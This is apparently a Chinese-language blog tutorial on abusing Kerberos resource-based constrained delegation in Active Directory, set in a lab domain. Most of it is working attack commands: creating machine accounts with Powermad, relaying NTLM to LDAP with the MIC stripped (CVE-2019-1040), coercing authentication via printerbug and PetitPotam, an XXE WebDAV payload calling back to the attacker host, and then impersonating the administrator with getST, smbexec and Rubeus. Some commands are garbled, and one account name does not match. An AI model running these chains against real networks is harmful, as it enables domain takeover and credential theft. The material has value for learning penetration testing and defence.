
Kerberos的委派主要分為非約束委派、約束委派、基於資源的約束委派,但在實際操作中,非約束委派和約束委派是很難進行利用的,因此本文主要是探討基於資源的約束委派的幾種利用方式。
基於資源的約束委派只能在運行WindowsServer 2012 R2和Windows Server2012及以上的域控制器上配置,但可以在混合模式林中應用。
基於資源的約束委派與傳統約束委派非常相似,服務A到服務B的約束委派在服務A賬戶的msDS-AllowedToDelegateTo屬性中配置,定義從服務A到服務B的"傳出"信任。
而基於資源的約束委派是在服務B的msDS-AllowedToActOnBehalfOfOtherIdentity屬性中配置,定義從服務A到服務B的"傳入"信任。
所以,只要擁有服務B的權限,就可以配置服務B的基於資源的約束委派。
基於資源的約束委派請求過程與約束委派的請求過程也類似,主要是涉及到Servicefor User to Self (S4U2Self)和Service forUser to Proxy(S4U2proxy)這兩個協議。
其中,S4U2Self可以代表自身請求,針對其自身的Kerberos服務票據;S4U2proxy可以以用戶的名義請求其它服務的ST。其具體請求過程引用一張圖進行理解:
了解了基本的認證過程後,想要使用基於資源的約束委派進行攻擊,可以利用NTLM中繼攻擊。
但如果客戶端和服務器進行協商會話簽名,則域控制器上的LDAP服務將忽略所有未簽名的消息,此時攻擊者是無法對後續消息進行簽名的,消息也就將被忽略。
若是想對NTLM中繼中的協商簽名的標誌進行重置,此時就有另一個問題——NTLM身份驗證是由3種消息類型組成:
"NTLM_NEGOTIATE、NTLM_CHALLENGE、NTLM_AUTHENTICATE"
Microsoft為了確保惡意行為者不在傳輸過程中修改消息,在NTLM_AUTHENTICATE消息中添加了一個額外的MIC(消息完整性代碼)字段。
如果更改了一個NTLM消息,則MIC將無效,身份驗證就會失敗。但是並非所有客戶端都支持MIC,因此也並非強制要求。
因此進行NTLM中繼攻擊的話,有幾個方向可以嘗試:
通過不協商簽名的客戶端,例如所有Windows版本上的Web客戶端,包括WebDAV客戶端;在NTLM消息中不支持MIC的客戶端,例如Windows XP/2003;
主域:10.10.10.10(機器名:DC,域管:administrator);輔助域:10.10.10.20(機器名:DC2,域管:administrator);目標機:10.10.10.100(機器名:server,普通域用戶:dav);受控機器:10.10.10.110(機器名:win7sp2,普通域用戶:test2);
CVE-2019-1040:
該漏洞可以繞過NTLM中的MIC(消息完整性檢查),修改已經過協商簽名的身份驗證流量。
因此,可以利用printerbug或者PetitPotam,將SMB身份驗證中繼到LDAP,再使用中繼LDAP身份驗證,將受害者服務器的基於資源的委派權限授予到攻擊者控制下的計算機賬戶。
在有輔助域的內網中,利用此漏洞,就能直接獲取到域控的權限。
Printerbug使得擁有控制域用戶/計算機的攻擊者可以指定域內的一台服務器,並使其對攻擊者選擇的目標進行身份驗證,因此可以與CVE-2019-1040結合一起使用。
由於所有域用戶向都可以在域中添加10個計算機帳戶,因此在受控的win7上,使用test2的用戶身份新建一個機器用戶serviceA:
powershell-exec bypass "Import-ModuleC:\Users\test2\Desktop\Powermad-master\Powermad-master\Powermad.ps1;New-MachineAccount-MachineAccount serviceA -Password $(ConvertTo-SecureString '123456'-AsPlainText -Force)"
執行ntlmrelayx.py腳本,--delegate-access選項是將中繼計算機帳戶的訪問權限委託給攻擊者,--escalate-user參數設置serviceA資源委派,--remove-mic參數了是去除mic驗證:
python3ntlmrelayx.py -t ldap://10.10.10.10 -smb2support --remove-mic--delegate-access --escalate-user serviceA\$ -debug
使用任意域賬號(test2)SMB連接輔助域控制器,觸發printerbug,使輔助域控制器用自己的用戶身份回連攻擊者主機:
python3printerbug.py de1ay.com/test2:test.123456@10.10.10.20 10.10.10.180
此時ntlmrelayx.py通過ldap將該用戶賬戶中繼到域控服務器(DC),並設置了serviceA$到DC2輔助域控制器的約束委派,可以在域控的powershell上驗證是否成功:
import-moduleActiveDirectoryGet-ADComputerDC2 -Properties PrincipalsAllowedToDelegateToAccount
在KAli中修改/etc/resolv.conf,設置DNS服務器為主域控IP:10.10.10.10:
使用impaket中的getSP.py腳本,通過-impersonate參數模擬用戶administrator請求其票據,再利用票據執行命令:
python3getST.py -spn cifs/DC2.de1ay.com de1ay/serviceA\$:123456 -dc-ip10.10.10.10 -impersonate administratorexportKRB5CCNAME=administrator.ccachepython3smbexec.py -k -no-pass dc2.de1ay.com
windwos下還可使用Rubeus請求白銀票據並導入到當前會話中:
Rubeus.exehash /user:serviceA$ /password:123456 /domain:de1ay.com
Rubeus.exes4u /user:serviceA$ /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /domain:de1ay.com /impersonateuser:administrator/msdsspn:cifs/DC2.de1ay.com /ptt
利用PetitPotam,可以指定域內的一台服務器,並使其對攻擊者選擇的目標進行身份驗證。
而且在低版本(08和12)的情況下,可以匿名觸發,不需要域用戶。在16版本以上,就需要指定一個普通域用戶賬號和密碼了。
在受控的win7上,使用test2的用戶身份新建一個機器用戶serviceB:
powershell-exec bypass "Import-ModuleC:\Users\test2\Desktop\Powermad-master\Powermad-master\Powermad.ps1;New-MachineAccount-MachineAccount serviceB -Password $(ConvertTo-SecureString '123456'-AsPlainText -Force)"
python3ntlmrelayx.py -t ldap://10.10.10.10 -smb2support --remove-mic--delegate-access --escalate-user serviceB\$ -debug
觸發PetitPotam,使輔助域控制器用自己的用戶身份回連攻擊者主機:
python3PetitPotam.py 10.10.10.180 10.10.10.20
python3getST.py -spn cifs/DC2.de1ay.com de1ay/serviceB\$:123456 -dc-ip10.10.10.10 -impersonate administratorexportKRB5CCNAME=administrator.ccachepython3smbexec.py -k -no-pass dc2.de1ay.com
WEBDAV:
若直接使用WebDAV客戶端進行認證,是不需要進行協商簽名的,因此,若能觸發存在WebDAV的客戶端向域控發起認證,也就能進行NTLM中繼攻擊。我們來看一個例子:
若Java應用服務啟用了WebDAV,會存在/WebDAV目錄,也就能使用其中的PROPFIND方法來觸發XXE。而xxe的http請求由於sun.net.www.protocol.http.HttpURLConnection類在響應401時,會根據響應判斷使用哪種認證模式。
若返回要求使用ntlm認證,我們就能獲取到目標機器的ntlmhash認證請求,進而中繼到域控ldap添加基於資源的約束委派。
首先判斷web(10.10.10.100)支持哪一些http方法:
在受控的win7上,使用test2的用戶身份新建一個機器用戶serviceC:
powershell-exec bypass "Import-ModuleC:\Users\test2\Desktop\Powermad-master\Powermad-master\Powermad.ps1;New-MachineAccount-MachineAccount serviceC -Password $(ConvertTo-SecureString '123456'-AsPlainText -Force)"
python3ntlmrelayx.py -t ldap://10.10.10.10 --delegate-access--escalate-user serviceC\$ -debug
PROPFIND/webdav HTTP/1.1Host:10.10.10.100:8080User-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101Firefox/68.0Content-Length:240Connection:close<?xmlversion="1.0" encoding="UTF-8"?><!DOCTYPEpropertyupdate [<!ENTITYloot SYSTEM "http://10.10.10.180/"> ]><D:propertyupdatexmlns:D="DAV:"><D:set><D:prop><axmlns="http://x.com/">&loot;</a></D:prop></D:set></D:propertyupdate>
python3getST.py -spn cifs/server.de1ay.com de1ay/serviceC\$:123456 -dc-ip10.10.10.10 -impersonate administratorexportKRB5CCNAME=administrator.ccachepython3smbexec.py -k -no-pass server.de1ay.com
利用基於資源的約束委派(RBCD)進行提權的話,利用條件主要如下:
需要設置msDS-AllowedToActOnBehalfOfOtherIdentity屬性,以及一個具有SPN的賬戶。
首先第一個條件:它並不是域管理員權限才能設置相關屬性,一般情況下,將機器加入域的用戶和機器賬號本身都有權限修改自身的msDS-AllowedToActOnBehalfOfOtherIdentity屬性的值。
而第二個條件:默認所有域用戶可以向一個域添加10個計算機賬戶。因此,若是當前受控機器的域用戶是將機器加入域的用戶,也就都能滿足這兩個條件。
主域:10.10.10.10(機器名:DC,域管:administrator)受控機器:10.10.10.100(機器名:sqlserver,普通域用戶:davtest)
域用戶提權:
當我們拿到了某台主機的域用戶權限,就可驗證當前域用戶對主機是否具有寫權限,若當前域用戶具有GenericAll、GenericWrite、WriteProperty、WriteDacl其中的一種權限,就可以修改賬戶屬性進行RBCD。
查看當前的權限,是普通的域用戶權限,但具有msDS-AllowedToActOnBehalfOfOtherIdentity屬性的寫權限:
powershell-exec bypass "Import-Module C:\tool\powerview.ps1;Get-DomainUserdavtest -Properties objectsid "powershell-exec bypass "Import-ModuleC:\tool\powerview.ps1;Get-DomainObjectAcl -Identity sqlserver |?{$_.SecurityIdentifier -match'S-1-5-21-2756371121-2868759905-3853650604-1625'}"
powershell-exec bypass "Import-ModuleC:\tool\Powermad-master\Powermad-master\Powermad.ps1;New-MachineAccount-MachineAccount serviceD -Password $(ConvertTo-SecureString '123456'-AsPlainText -Force)"
powershell-exec bypass "Import-ModuleC:\tool\powerview.ps1;Get-DomainComputer serviceD"
配置serviceD到sqlserver的基於資源約束的委派:
powershell-exec bypass "Import-Module C:\tool\powerview.ps1;$SD =New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList'O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2756371121-2868759905-3853650604-1628)';$SDBytes= New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes,0);Get-DomainComputer sqlserver| Set-DomainObject -Set@{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose"
python3getST.py -spn cifs/sqlserver.de1ay.com de1ay/serviceD\$:123456 -dc-ip10.10.10.10 -impersonate administratorexportKRB5CCNAME=administrator.ccachepython3smbexec.py -k -no-pass sqlserver.de1ay.com
機器賬號提權:
由於iisapppool\defaultapppool或是networkservice賬戶權限出網時都是以當前機器賬戶身份進行請求,因此可以利用RBCD進行提權。
"https://github.com/pkb1s/SharpAllowedToAct"
添加機器賬號,並設置serviceE到sqlserver的基於資源約束的委派:
SharpAllowedToAct.exe-m serviceE -p 123456 -t sqlserver -a dc.de1ay.com -d de1ay.com
python3getST.py -spn cifs/sqlserver.de1ay.com de1ay/serviceF\$:123456 -dc-ip10.10.10.10 -impersonate administratorexportKRB5CCNAME=administrator.ccachepython3smbexec.py -k -no-pass sqlserver.de1ay.com
基於資源的約束委派(RBCD)攻擊方式還有很多,但基本的思路都是添加機器賬號、設置基於資源約束的委派、請求票據,其他利用姿勢,我們以後繼續探討!
鑽石舞台 發表在 痞客邦 留言(0) 人氣()